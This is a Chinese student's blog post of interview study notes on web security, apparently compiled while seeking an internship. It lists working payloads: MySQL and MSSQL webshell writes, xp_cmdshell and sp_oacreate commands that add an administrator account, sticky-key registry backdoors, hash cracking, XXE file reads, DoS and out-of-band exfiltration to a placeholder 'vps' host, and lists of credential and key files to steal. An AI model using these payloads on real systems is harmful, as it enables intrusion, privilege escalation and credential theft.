寒假面试

本文最后更新于:1 个月前

前言

这应该是本人第一篇这种性质的博客(翻了翻,似乎没什么年度总结之类的?之后可能会写((挖坑

写这篇文章的时候我正在宿舍一边复习着Java一边嘴里吃着酸的流哈喇子的糖一边码字,(不得不说这个糖外面是真酸但是含一会就是甜滋滋的了

入坑网安也一年有余了,当年带我的师傅也相继毕业了,过了一个瓶颈期(大概一年左右?)就突然感觉自己的无论是CTF也好,代码审计也好,能力都有了大幅度的提升,总结一下感觉和本人过去一段时间内的代码量积累(写项目一定要写项目!)以及漏洞的复现有很大的关系。自己也从被人带的小白慢慢成为带其他学弟学妹的学长了

过去一年中出于种种原因,个人参加的比赛成绩都并不是很理想,当然总结了一下发现还是自身能力不足导致的,但是人总是在不断的学习与挫败之中不断进步的不是嘛:)

这次找实习实际上咕咕咕了很久了,今年(2024)3月份,其实当时脑子一热已经开始准备了,简历都写好了,当然当时并没有写入多少东西,甚至有一部分的内容都是想不出来写什么而水进去的。。但是令我感到惊讶的是,半年后(10月),当我再次开始着手这件事时,我发现再过去的半年时间内,我能写的并且质量还不错的内容居然增多了许多!不只是各种比赛的奖项,更是一些能力上的提升,比如SRC,亦或者是人生第一个CVE编号居然CVSS评分也意外的高,这些种种,都让我打开了web的全新世界,慢慢让我从最开始的刷题小子,逐渐超脱CTF,往更加广阔的天地去发展。

当我漏洞复现的足够多,甚至达到能自己挖掘出漏洞的程度时,当我再回头去看CTF题目时,我发现实际上也没有那么难了,也许是开窍了,但是自己的信息搜索能力或者是对漏洞点的敏锐程度也得到了很大的提升(耶

说了一些废话了hhhh,下面就记一下自己在备战的时候碰到的一些问题吧

致谢文档:https://github.com/vvmdx/Sec-Interview-4-2023

八股文拷打

数据库getshell

先谈谈熟悉的mysql吧~

可以参考一下国光的这篇文章:https://www.sqlsec.com/2020/11/mysql.html

写webshell

into outfile写文件首先需要secure_file_priv权限是空的(空的并不是NULL),mysql5.5之后默认是NULL

需要web目录有可写的权限(对于mysql用户来说)

需要知道网站的绝对路径

需要是dea权限数据库用户

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

写日志

mysql5.0之后会创建日志文件,

条件

web目录可写入

windows下

高权限mysql

1
2
3
4
SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
select '<?php phpinfo();?>';

查密码

若是dba权限,并且有开放端口可以查mysql密码的哈希值

1
2
select host, user, password from mysql.user; #mysql<=5.6
select host,user,authentication_string from mysql.user;

hashcat爆破

1
hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O

UDF提权

条件

dba用户

secure_file_priv是空

目录有可写权限

plugin目录存在(mysql>5.1默认似乎是不存在的。。

查mysql是多少位的,需与payload保持一致

1
show variables like "%version_%";

SQL Server(MSSQL)

1
exec master..xp_cmdshell 'whoami';

xp_cmdshell在SQLServer2005之后默认关闭,开启语句

1
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

分步执行:

1
2
3
4
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

查询xp_cmdshell状态

1
exec sp_configure

在sqlserver2005之前的版本,可能通过以下语句删除xp_cmdshell

1
exec master..sp_dropextendedproc xp_cmdshell;

可用以下语句恢复

1
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

xplog70.dll可能会被管理员一起删了,若有上传权限,可以上传xplog70.dll,并执行

1
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

sp_makewebtask写文件,SQLServer200不可用

1
exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--

MSSQL差异备份

MSSQL 2008

查询数据库名

1
SELECT DB_NAME();

或者创建新的数据库

1
create database test2;

进行一次完整的备份:

1
backup database test2 to disk = 'c:\test2.bak';

使用数据库

1
use test2;

创建新表:

1
create table [dbo].[test2] ([cmd] [image]);

向其中插入数据

1
2
insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
#3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>

进行备份差异备份

1
backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;

sp_oacreate

开启sp_oacreate

1
2
3
4
5
6
7
8
9
10
11
# 开启sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;

# 关闭sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

# 查看 sp_oacreate 状态
exec sp_configure;

添加管理员

1
2
3
4
5
6
7
# 开启
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
# 添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add'

# 添加用户到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

替换粘滞键:

1
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

替换轻松使用

1
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

sqlite

1
ATTACH DATABASE 'd:\\sqlite\\23.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');--

注意SQLite中十六进制的写法为:x'....',而不是0x....,可十六进制写入shell

postgresql

//TODO

SQL注入

时间盲注

  • sleep()
  • benchmark(t,exp)
  • 笛卡尔积
  • GET_LOCK()
  • RLIKE正则

使用

1
2
benchmark(t,exp)
select benchmark( 5000000, md5( 'test' ));#是重复执行count次expr表达式,使得处理时间很长,来产生延迟,

笛卡尔积

1
2
3
4
5
6
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C 表可以是同一张表

正则,通过构造长字符串来加大正则匹配的计算量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

正则语法:
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'

repeat(str,times) 复制字符串times次

XXE

DTD外部实体引用

支持外部协议,如http://或者file://

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

http://可以打ssrf

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

DOS

1
2
3
4
5
6
7
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

盲打:

rce,需要php开启expect拓展

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

外带

evil.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>  
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>

send.xml

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">  
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://vps/send.php?file=%file;'>">

send.php

1
2
3
<?php   
file_put_contents("result.txt", $_GET['file']) ;
?>

漏洞代码

1
$x=new SimpleXMLElement("http://vps/evil.xml",2,true);
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://vps/xxe.dtd">
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

xxe.dtd

1
2
3
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://vps:listen_port/?%file;'>">
%all;

ssrf

任意文件读取

假如不知道路径,读mlocate.db,这是一个linux下locate命令所查询的一个数据库,它包含所有本地文件的信息,linux自动创建并每天更新一次,不知道路径的情况下可以先把这个文件读取下来,再在本地使用locate命令将所需的路径信息读取出来

1
locate mlocate.db admin //可以将mlocate.db中包含admin文件名的内容全部输出来

JAVA读WEB-INF/web.xml,知道类路径,再读取类文件,反编译审计

/WEB-INF/classes/applicationContext.xml

/WEB-INF/classes/xxx/xxx/xxx.class

shiro站点可以读core.jar,拿到key

redis:/etc/redis.conf,密码是明文写在其中的

公私钥/root/.ssh/

1
2
3
4
/root/.ssh/authorized_keys  公钥
/root/.ssh/id_rsa 私钥
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥

/etc/shadow

/etc/passwd等等。。